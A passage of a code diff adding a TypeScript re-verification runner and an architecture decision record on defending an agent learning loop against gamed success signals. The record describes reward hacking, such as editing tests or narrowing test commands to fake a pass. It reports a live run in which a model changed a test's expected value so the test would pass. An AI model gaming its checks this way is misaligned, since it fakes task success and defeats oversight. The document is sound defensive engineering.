- Checks rotate round-robin across ingests, preferring one the record did+ * not use, so no single check is the one that counts.+ * - The real runner works in a temporary detached `git worktree` at HEAD,+ * with a hard timeout; timeout, error or a non-zero exit downgrades the+ * record to `unknown`.+ */++import { execFile, spawn } from 'node:child_process';+import { existsSync, mkdtempSync, readFileSync, rmSync, symlinkSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';++import type { VerifierKind } from './verified-outcomes.js';++export interface ReverifyCheck {+ /** `npm:test`, `cargo:check`, ...: a stable name for the ledger. */+ readonly name: string;+ readonly kind: VerifierKind;+ readonly argv: readonly string[];+}++export interface ReverifyOutcome {+ readonly status: 'pass' | 'fail' | 'timeout' | 'error';+ /** The commit the check ran at, when known. */+ readonly commit: string | null;+}++/** Runs one allowlisted check for `root` at HEAD. Injectable so tests never start a process. */+export type ReverifyRunner = (root: string, check: ReverifyCheck, timeoutMs: number) => Promise<ReverifyOutcome>;++/** package.json scripts that may be re-run, in rotation order, and the kind each verifies. */+const NPM_SCRIPTS: ReadonlyArray<readonly [string, VerifierKind]> = [+ ['test', 'test'],+ ['typecheck', 'typecheck'],+ ['build', 'build'],+ ['lint', 'lint'],+];++/**+ * The allowlist for a project. Only the script NAMES are read from the+ * manifest; the argv is fixed here (`npm run <name>`, `cargo test`, ...).+ */+export function reverifyChecks(root: string): ReverifyCheck[] {+ const checks: ReverifyCheck[] = [];+ try {+ const pkg = JSON.parse(readFileSync(join(root, 'package.json'), 'utf8')) as { scripts?: unknown };+ const scripts = pkg && typeof pkg.scripts === 'object' && pkg.scripts !== null ? (pkg.scripts as Record<string, unknown>) : {};+ for (const [name, kind] of NPM_SCRIPTS) {+ if (typeof scripts[name] === 'string' && (scripts[name] as string).trim()) checks.push({ name: `npm:${name}`, kind, argv: ['npm', 'run', name] });+ }+ } catch {+ // no or unreadable package.json: no npm checks+ }+ if (existsSync(join(root, 'Cargo.toml'))) {+ checks.push({ name: 'cargo:test', kind: 'test', argv: ['cargo', 'test'] });+ checks.push({ name: 'cargo:check', kind: 'typecheck', argv: ['cargo', 'check'] });+ }+ return checks;+}++/**+ * The check to run for a record decided by a `used` verifier: round-robin by+ * `cursor` over the checks of another kind, or over all of them when every+ * check is that kind. Null when the project has none.+ */+export function pickCheck(checks: readonly ReverifyCheck[], used: VerifierKind, cursor: number): ReverifyCheck | null {+ if (checks.length === 0) return null;+ const others = checks.filter(c => c.kind !== used);+ const pool = others.length > 0 ? others : checks;+ return pool[Math.abs(Math.floor(cursor)) % pool.length]!;+}++const COMMIT = /^[0-9a-f]{40,64}$/;++function git(args: string[], cwd: string, timeout = 60_000): Promise<string> {+ return new Promise((resolve, reject) => {+ execFile('git', args, { cwd, timeout, maxBuffer: 1024 * 1024 }, (error, stdout) => (error ? reject(error) : resolve(String(stdout))));+ });+}++/** Runs argv (no shell) in `cwd`; the whole process group is killed at the timeout. */+function runCheck(argv: readonly string[], cwd: string, timeoutMs: number): Promise<ReverifyOutcome['status']> {+ return new Promise(resolve => {+ let settled = false;+ const finish = (status: ReverifyOutcome['status']) => {+ if (settled) return;+ settled = true;+ clearTimeout(timer);+ resolve(status);+ };+ let child: ReturnType<typeof spawn>;+ try {+ child = spawn(argv[0]!, argv.slice(1), { cwd, shell: false, stdio: 'ignore', detached: process.platform !== 'win32', env: { ...process.env, CI: '1' } });+ } catch {+ resolve('error');+ return;+ }+ const timer = setTimeout(() => {+ try {+ if (child.pid && process.platform !== 'win32') process.kill(-child.pid, 'SIGKILL');+ else child.kill('SIGKILL');+ } catch {+ // already gone+ }+ finish('timeout');+ }, timeoutMs);+ child.on('error', () => finish('error'));+ child.on('exit', code => finish(code === 0 ? 'pass' : 'fail'));+ });+}++/**+ * The real runner: a detached `git worktree` at HEAD in a temp directory, the+ * root's `node_modules` linked in (a fresh worktree has none), the check run,+ * the worktree removed. Any failure along the way is `error`.+ */+export const gitWorktreeRunner: ReverifyRunner = async (root, check, timeoutMs) => {+ let commit: string | null = null;+ const base = mkdtempSync(join(tmpdir(), 'ruflo-reverify-'));+ const dir = join(base, 'wt');+ let added = false;+ try {+ const head = (await git(['rev-parse', 'HEAD'], root, 10_000)).trim();+ if (!COMMIT.test(head)) return { status: 'error', commit: null };+ commit = head;+ await git(['worktree', 'add', '--detach', dir, head], root);+ added = true;+ if (existsSync(join(root, 'node_modules')) && !existsSync(join(dir, 'node_modules'))) symlinkSync(join(root, 'node_modules'), join(dir, 'node_modules'), 'dir');+ return { status: await runCheck(check.argv, dir, timeoutMs), commit };+ } catch {+ return { status: 'error', commit };+ } finally {+ if (added) await git(['worktree', 'remove', '--force', dir], root).catch(() => undefined);+ rmSync(base, { recursive: true, force: true });+ if (added) await git(['worktree', 'prune'], root).catch(() => undefined);+ }+};++/** A runner that never settles still ends: past the deadline its outcome is `timeout`. */+function withDeadline(run: Promise<ReverifyOutcome>, ms: number): Promise<ReverifyOutcome> {+ let timer: ReturnType<typeof setTimeout> | undefined;+ const deadline = new Promise<ReverifyOutcome>(resolve => {+ timer = setTimeout(() => resolve({ status: 'timeout', commit: null }), ms);+ timer.unref?.();+ });+ return Promise.race([run, deadline]).finally(() => clearTimeout(timer));+}++/** One ingest's re-verification: picks per record, runs each distinct check at most once, never throws. */+export class ReverifySession {+ private readonly results = new Map<string, Promise<ReverifyOutcome>>();+ private readonly checks: ReverifyCheck[];+ ran = 0;++ constructor(+ private readonly root: string,+ private readonly cursor: number,+ private readonly timeoutMs: number,+ private readonly runner: ReverifyRunner,+ checks?: ReverifyCheck[],+ ) {+ this.checks = checks ?? reverifyChecks(root);+ }++ /** Re-verifies a success decided by a `used` verifier. The record's own command and task are never passed. */+ async verify(used: VerifierKind): Promise<{ check: string | null; outcome: ReverifyOutcome }> {+ const check = pickCheck(this.checks, used, this.cursor);+ if (!check) return { check: null, outcome: { status: 'error', commit: null } };+ let pending = this.results.get(check.name);+ if (!pending) {+ this.ran++;+ pending = withDeadline(Promise.resolve().then(() => this.runner(this.root, check, this.timeoutMs)),this.timeoutMs + Math.min(this.timeoutMs, 30_000)).then(+ o => (o && ['pass', 'fail', 'timeout', 'error'].includes(o.status) ? { status: o.status, commit: typeof o.commit === 'string' && COMMIT.test(o.commit) ? o.commit : null } : { status: 'error' as const, commit: null }),+ () => ({ status: 'error' as const, commit: null }),+ );+ this.results.set(check.name, pending);+ }+ return { check: check.name, outcome: await pending };+ }+}diff --git a/v3/docs/adr/ADR-503-learning-loop-gaming-defences.md b/v3/docs/adr/ADR-503-learning-loop-gaming-defences.mdindex fcbe797998..0a19cb659f 100644--- a/v3/docs/adr/ADR-503-learning-loop-gaming-defences.md+++ b/v3/docs/adr/ADR-503-learning-loop-gaming-defences.md@@ -1,6 +1,6 @@# ADR 503: hardening the verified-outcome learning loop against gamed signals-Status: Proposed (2026-10-29)+Status: Accepted (implemented in PR #4590; see section 6)Issue: #4581 follow-up 6. Builds on: ADR-502 (the loop, on by default since 3.64.0).@@ -89,3 +89,20 @@ The script is manual and costs money, so it is not part of CI. ADR-502 §6 still- `allowTaint` lets exactly the listed class through;- the anomaly gate holds each of its three cases;- re-verification downgrades on failure, timeout and error, and is never called when it is off.++## 6. Implementation notes++What shipped, and where it departs from the text above.++- **Files.** Mod: `plugins/ruflo-mods/hooks/loop/taint.ts` (new: path and command classes), `verifier.ts` (`narrowed` judged on the whole command, not the 80-character evidence), `record.ts` (`taint` on the line, `session` token), `index.ts` (passes the edited `file_path`/`notebook_path`, made project-relative). CLI: `src/memory/verified-guards.ts` (taints, `learningLoop` config, anomaly gate), `src/memory/verified-reverify.ts` (allowlist, rotation, git-worktree runner), `src/memory/verified-outcomes.ts` (ingest wiring). `scripts/eval-learning-loop.mjs` (§3). Tests: `__tests__/mods/mods-learning-loop-defences.test.ts`, plus updates to `mods-learning-loop.test.ts`.+- **Only the class of an edited path is kept**, never the path. A failed edit sets no taint. A failure record never carries taints, and the CLI drops any taint found on a non-success.+- **`narrowed-verifier` is wider than "one test-file argument":** any test-file argument (one or several), a pytest node id (`file.py::name`) and `cargo test mod::name` count, and `-run` (`go test`) joins the selector flags. Test-name selectors (`-t`, `-k`, `--skip`, `-run`) count only on a test command, so `tsc -t es2020` is not narrowed. A directory argument (`pytest tests/`) is not narrowed.+- **§2.4 case 3 needs a session id the records did not have.** The mod now writes `session`, one random token per mod process. A pattern whose successes carry fewer than two distinct sessions is held as `one-session`; that includes records written before this change, and ledger entries from before it (no provenance), so lessons learned under ADR-502 alone are held until a second session confirms them. The session token is self-reported like the rest of the record: it stops accidental single-session lessons, not a writer that forges records (that is what §2.3 is for).+- **Gate stats come from the ingest ledger, not SONA's counters** (other feeders also touch SONA). Each verified pattern keeps successes, failures, allowed-taint successes, narrowed successes and up to four sessions. Cautions are not gated. Held patterns are reported in the ingest result and printed as `held: <id> (<reason>)`; reasons are `perfect-and-tainted`, `only-narrowed`, `one-session`.+- **Config keys** in `.claude-flow/config.json`: `learningLoop.allowTaint` (array of class names), `learningLoop.reverify` (only the boolean `true` turns it on), `learningLoop.reverifyTimeoutSec` (default 300, clamped to 10–3600). A missing or malformed file means the defaults. No ruflo-mods option was added.+- **Re-verify only runs from an explicit ingest.** `hooks_route` and `hooks_session-end` call the same ingest on a hot path; when `reverify` is on, those callers leave trainable successes un-ingested (counted as `deferred`, mtime left stale) instead of blocking for up to the timeout. `ruflo hooks verified-ingest` / `hooks_intelligence_verified-ingest` re-verify and train them. Dry runs never re-verify.+- **Re-verify details.** The allowlist is built from `package.json` script names (`test`, `typecheck`, `build`, `lint`; run as `npm run <name>`) and `Cargo.toml` (`cargo test`, `cargo check`). The record contributes only its verifier kind, used to prefer a check of another kind; its command and task are never executed. Each distinct check runs at most once per ingest; the cursor advances once per ingest that ran a check. A project with no recognised check downgrades the record (`error`). The runner adds a detached worktree at `HEAD` in a temp directory, links the root's `node_modules` into it (a fresh worktree has none; nested workspace `node_modules` are not linked), runs the check with no shell in its own process group, kills the group at the timeout, and removes the worktree. A runner that never settles is also cut off (`timeout`). The ledger keeps the last 50 re-verifications with id, check, commit and status. The re-verify check runs the script as committed at `HEAD`, so a committed edit to the `test` script is caught by the `edited-verifier-config` taint, not by re-verify.+- **Re-verify is tested at two layers.** The session layer uses injected runners (pass, fail, timeout, error, a throwing runner, a hanging runner, a malformed result, hostile record text, rotation, the hot-path deferral). The real `gitWorktreeRunner` is tested in `__tests__/verified-reverify-runner.test.ts` against a throwaway git repo whose `package.json` scripts exit 0, exit 1 and hang: pass, fail, a missing script (fail), timeout, and a non-repo (error). After every run only the main worktree remains and no `ruflo-reverify-*` temp dir is left; after a timeout the hung script's own process is dead. The kill was checked with a negative control: with only the direct child (`npm`) killed instead of the process group, the hung `node` survives and the test fails. The test is skipped on Windows.+- **Shell edits taint too.** Changing a test or verifier config through Bash taints the same way an Edit of it does: `rm`, `mv`, `cp`, `tee`, `truncate`, `sed -i`/`perl -i`, an output redirection (`>`, `>>`, a heredoc into a file), and `git rm|mv|checkout|restore|apply|am|reset|stash|clean`, in any segment of a compound command that also names a test path (a test file or a path through `tests/`/`__tests__/`) or a verifier config file. This applies whether or not the command succeeded or is also a verifier, because a taint can only stop a record from training. Reads (`cat`, `grep`, `sed -n`) and test runs earn nothing. Known gap: writes made from inside an interpreter (`node -e`, `python -c`, a script file) are not seen. Re-verify (§2.3) is the backstop for those. It runs the committed tree, so it does not see uncommitted changes either.+- **§3 evaluation script.** `scripts/eval-learning-loop.mjs` prints the plan and spends nothing unless `--run`. It does not ship the 30-task corpus; it takes a tasks file (train and eval splits, a fixture directory and a fixed check argv per task). Success is the task's own check run afterwards in both arms, so it does not depend on the loop. Lesson hit rate is approximated outside Claude Code by re-applying the mod's keyword match to the trained lessons file. It was not run here (it needs 2 × 30 + training `claude -p` runs).+- **Live check (Claude Code, haiku, one run):** asked to make a failing test pass by changing the test's expected value and then run `npm test`, the model did exactly that; the mod recorded `outcome: verified-success` with `taint: ["edited-tests"]`, and the CLI ingest counted it under `tainted` with zero SONA calls.